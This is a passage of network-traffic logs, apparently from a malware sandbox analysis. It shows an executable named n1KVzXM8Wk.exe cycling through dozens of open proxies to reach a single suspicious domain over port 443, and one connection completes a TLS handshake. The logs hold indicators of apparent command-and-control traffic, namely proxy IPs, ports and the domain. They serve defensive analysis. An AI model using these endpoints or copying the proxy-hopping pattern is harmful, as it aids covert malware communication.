Feb 23, 2024 09:45:15.511368990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49869	104.25.87.42	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.424987078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.512350082 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49872	172.67.38.96	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.433031082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.520812035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49874	203.32.120.202	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.435105085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.522443056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49831	41.111.187.214	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.453917980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.927985907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.662478924 CET	98	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49848	198.105.111.86	6764	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.465711117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.700108051 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49796	47.114.101.57	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.468545914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.810609102 CET	334	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49847	94.130.181.59	32770	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.496467113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.310009003 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49815	13.234.24.116	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.496467113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.039640903 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49884	132.148.128.8	12519	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.507390976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49771	117.160.250.132	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.545665026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.093142033 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49885	185.38.111.1	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.548518896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.735615969 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Length: 0
Feb 23, 2024 09:45:15.923269987 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49979	94.74.120.192	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.554338932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49980	94.74.120.192	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.556538105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49959	168.138.66.48	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.573929071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49933	192.169.226.96	51778	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.573935032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.006136894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.474894047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49985	94.74.120.192	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.575119972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49989	94.74.120.192	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.578457117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49963	104.19.233.117	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.590970993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.679143906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49845	103.152.116.82	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.596285105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.224884987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.115529060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.943734884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.612467051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.169958115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.834733009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.349016905 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 09:45:31.807090044 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 2b 3a a3 8b e8 95 cc 0e 42 23 18 f3 ea 85 d8 9e 53 61 f4 fe 3d ba fb e0 f2 8b 68 0a 8a 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[+:B#Sa=h*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:32.277127981 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 d8 5b 2c 1e ad 0e 37 6d e6 fe 5b 1a 62 cd 4c 70 e2 9f e5 12 e3 9c a8 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e[,7m[bLpDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Feb 23, 2024 09:45:32.277170897 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Feb 23, 2024 09:45:32.577183008 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Feb 23, 2024 09:45:32.577394009 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Feb 23, 2024 09:45:33.967035055 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ee d3 9c b7 1a 72 b7 93 54 c6 57 21 5f 81 b2 09 02 b3 ab 42 6b bc b7 f7 78 22 10 ed ca 53 57 06 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 80 e8 22 3b 49 57 0d 59 58 a0 23 33 a1 9f 45 c0 51 50 f2 a6 d2 Data Ascii: %! rTW!_Bkx"SW(";IWYX#3EQPXe~,
Feb 23, 2024 09:45:34.440515995 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 2d 75 25 30 cd bf 35 3d a9 01 e1 3f 08 b6 df 2f 37 b6 15 92 18 41 34 45 80 05 ca 21 36 e3 7d 91 5c 3b 19 e8 9a b4 d9 9f 54 6f 66 2d c6 b0 d8 52 9a 77 be e6 d0 2d 2b b3 b5 4b 35 0d 28 7f e3 ba 33 f0 6d Data Ascii: -u%05=?/7A4E!6}\;Tof-Rw-+K5(3m-ewW#8$5ar1/jH^7y\|gd9}N4-!9N3tb4Oc %-tNwbMh8x>R,B()2Fc?0c
Feb 23, 2024 09:45:46.655848026 CET	31	IN	Data Raw: 15 03 03 00 1a 00 00 00 00 00 00 00 01 05 a7 7a 13 e9 8e 67 7e 88 88 ec 13 1c 29 40 e1 e4 76 Data Ascii: zg~)@v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49833	167.172.86.46	10471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.598009109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49943	202.5.16.44	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.602528095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.761876106 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49861	102.132.54.151	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.653503895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49966	74.119.147.209	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.680968046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50008	104.18.81.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.689954996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:15.784142017 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:15 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49817	117.160.250.134	8899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.693026066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.584229946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
